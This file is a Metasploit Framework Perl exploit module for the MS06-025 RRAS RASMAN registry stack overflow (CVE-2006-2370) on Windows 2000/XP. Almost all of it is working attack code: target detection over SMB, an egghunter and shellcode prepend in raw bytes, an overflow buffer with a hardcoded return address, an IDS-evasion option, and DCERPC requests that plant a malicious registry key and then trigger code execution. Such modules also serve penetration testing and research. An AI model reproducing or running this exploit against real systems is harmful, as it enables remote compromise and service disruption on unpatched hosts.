rasman.pm.txt

`##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::rras_ms06_025_rasman;  
use base "Msf::Exploit";  
use strict;  
  
use Pex::DCERPC;  
use Pex::SMB;  
use Pex::NDR;  
  
my $advanced = {  
'FragSize' => [ 256, 'The DCERPC fragment size' ],  
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],  
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],  
};  
  
my $info = {  
'Name' => 'Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow',  
'Version' => '$Revision: 1.1 $',  
'Authors' =>  
[  
'Pusscat <pusscat [at] gmail.com>',  
'H D Moore <hdm [at] metasploit.com>'  
],  
  
'Arch' => ['x86'],  
'OS' => [ 'win32', 'win2000', 'winxp' ],  
'Priv' => 1,  
  
'AutoOpts' => { 'EXITFUNC' => 'thread' },  
'UserOpts' =>  
{  
'RHOST' => [ 1, 'ADDR', 'The target address' ],  
  
# SMB connection options  
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],  
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''],  
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],  
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ],  
},  
  
'Payload' =>  
{  
'Space' =>1024,  
'BadChars' => "\x00\x2c\x5c\x2e\x3a\x24",  
  
# sub esp, 4097 + inc esp makes stack happy  
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
  
'Description' => Pex::Text::Freeform(  
qq{  
This module exploits a registry-based stack overflow in the Windows Routing   
and Remote Access Service. Since the service is hosted inside svchost.exe,   
a failed exploit attempt can cause other system services to fail as well.   
A valid username and password is required to exploit this flaw on Windows 2000.   
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.  
Exploiting this flaw involves two distinct steps - creating the registry key  
and then triggering an overwrite based on a read of this key. Once the key is  
created, it cannot be recreated. This means that for any given system, you  
only get one chance to exploit this flaw. Picking the wrong target will require  
a manual removal of the following registry key before you can try again:  
HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\RAS Phonebook  
}  
),  
  
'Refs' =>  
[  
[ 'BID', '18325' ],  
[ 'CVE', '2006-2370' ],  
[ 'OSVDB', '26437' ],  
[ 'MSB', 'MS06-025' ]  
],  
  
'DefaultTarget' => 0,  
'Targets' =>  
[  
[ 'Automatic' ],  
[ 'Windows 2000', 0x750217ae ], # call esi  
],  
  
'Keys' => ['rras'],  
  
'DisclosureDate' => 'Jun 13 2006',  
};  
  
sub new {  
my ($class) = @_;  
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );  
return ($self);  
}  
  
sub Exploit {  
my ($self) = @_;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
my $target = $self->Targets->[$target_idx];  
  
my $FragSize = $self->GetVar('FragSize') || 256;  
my $target = $self->Targets->[$target_idx];  
  
my ( $res, $rpc );  
  
my $pipe = "\\" . $self->GetVar("SMBPIPE");  
my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';  
my $version = '1.0';  
  
my $handle =  
Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,  
$pipe );  
  
my $dce = Pex::DCERPC->new(  
'handle' => $handle,  
'username' => $self->GetVar('SMBUSER'),  
'password' => $self->GetVar('SMBPASS'),  
'domain' => $self->GetVar('SMBDOM'),  
'fragsize' => $self->GetVar('FragSize'),  
'bindevasion' => $self->GetVar('BindEvasion'),  
'directsmb' => $self->GetVar('DirectSMB'),  
);  
  
if ( !$dce ) {  
$self->PrintLine("[*] Could not bind to $handle");  
return;  
}  
  
my $smb = $dce->{'_handles'}{$handle}{'connection'};  
if ( $target->[0] =~ /Auto/ ) {  
if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {  
$target = $self->Targets->[1];  
$self->PrintLine('[*] Detected a Windows 2000 target...');  
}  
#elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {  
# $target = $self->Targets->[2];  
# $self->PrintLine('[*] Detected a Windows XP target...');  
#}  
else {  
$self->PrintLine( '[*] No target available : ' . $smb->PeerNativeOS() );  
return;  
}  
}  
  
# Shiny new egghunt from the 3.0 code :-)  
my $egghunt =  
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" .  
"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" .  
"\x41\x41\x41\x41".  
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";  
  
# Pick a "filler" character that we know doesn't get mangled  
# by the wide string conversion routines  
my $fillset = "\xc1\xff\x67\x1b\xd3\xa3\xe7";  
my $filler = substr($fillset, rand(length($fillset)), 1);  
my $eggtag = '';  
my $pattern = '';  
  
while (length($eggtag) < 4) {  
$eggtag .= substr($fillset, rand(length($fillset)), 1);  
}  
  
# Configure the egg  
substr($egghunt, 0x12, 4, $eggtag);  
  
# We use an egghunter to give us nearly unlimited room for shellcode  
my $eggdata =  
($filler x 1024).  
$eggtag.  
$eggtag.  
$shellcode.  
($filler x 1024);  
  
# Mini-payload that launches the egghunt  
my $bof = $filler x 178;  
substr($bof, 84, length($egghunt), $egghunt);  
  
# Base pointer override occurs with this string  
my $pat =  
($filler x 886).  
pack('V', $target->[1]).  
($filler x 3). "\xc0".  
$bof;  
  
# The vulnerability is triggered with the second field of this structure  
my $type2 =  
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( ($filler x 1024) . "\x00" ).  
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( $pat . "\x00" ).  
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( ($filler x 4096) . "\x00" ).  
Pex::NDR::Long( int(rand(0xffffffff)) ).  
Pex::NDR::Long( int(rand(0xffffffff)) );  
  
# Another gigantic structure, many of these fields up as registry values  
my $type1 =  
Pex::NDR::Long(int(rand(0xffffffff))) . # OperatorDial  
Pex::NDR::Long(int(rand(0xffffffff))) . # PreviewPhoneNumber  
Pex::NDR::Long(int(rand(0xffffffff))) . # UseLocation  
Pex::NDR::Long(int(rand(0xffffffff))) . # ShowLights  
Pex::NDR::Long(int(rand(0xffffffff))) . # ShowConnectStatus  
Pex::NDR::Long(int(rand(0xffffffff))) . # CloseOnDial  
Pex::NDR::Long(int(rand(0xffffffff))) . # AllowLogonPhonebookEdits  
Pex::NDR::Long(int(rand(0xffffffff))) . # AllowLogonLocationEdits  
Pex::NDR::Long(int(rand(0xffffffff))) . # SkipConnectComplete  
Pex::NDR::Long(int(rand(0xffffffff))) . # NewEntryWizard  
Pex::NDR::Long(int(rand(0xffffffff))) . # RedialAttempts  
Pex::NDR::Long(int(rand(0xffffffff))) . # RedialSeconds  
Pex::NDR::Long(int(rand(0xffffffff))) . # IdleHangUpSeconds  
Pex::NDR::Long(int(rand(0xffffffff))) . # RedialOnLinkFailure  
Pex::NDR::Long(int(rand(0xffffffff))) . # PopupOnTopWhenRedialing  
Pex::NDR::Long(int(rand(0xffffffff))) . # ExpandAutoDialQuery  
Pex::NDR::Long(int(rand(0xffffffff))) . # CallbackMode  
Pex::NDR::Long(0x45).  
$type2.  
Pex::NDR::UnicodeConformantVaryingString("\x00" x 129).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::UnicodeConformantVaryingString("\x00" x 520).  
Pex::NDR::UnicodeConformantVaryingString("\x00" x 520).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::UnicodeConformantVaryingString("\x00" x 514).  
Pex::NDR::Long(int(rand(0xffffffff))).  
Pex::NDR::Long(int(rand(0xffffffff)));  
  
# Create the actual RPC stub and tack our payload on the end  
my $stub =  
$type1.  
Pex::NDR::Long(int(rand(0xffffffff))).  
$eggdata;  
  
$self->PrintLine("[*] Creating the malicious registry key...");  
my @response = $dce->request( $handle, 0x0A, $stub );  
  
$self->PrintLine("[*] Triggering the base pointer overwrite...");  
my @response = $dce->request( $handle, 0x0A, $stub );  
  
if (@response) {  
$self->PrintLine('[*] RPC server responded with:');  
foreach my $line (@response) {  
$self->PrintLine( '[*] ' . $line );  
}  
$self->PrintLine('[*] This probably means that the system is patched');  
}  
return;  
}  
  
1;  
`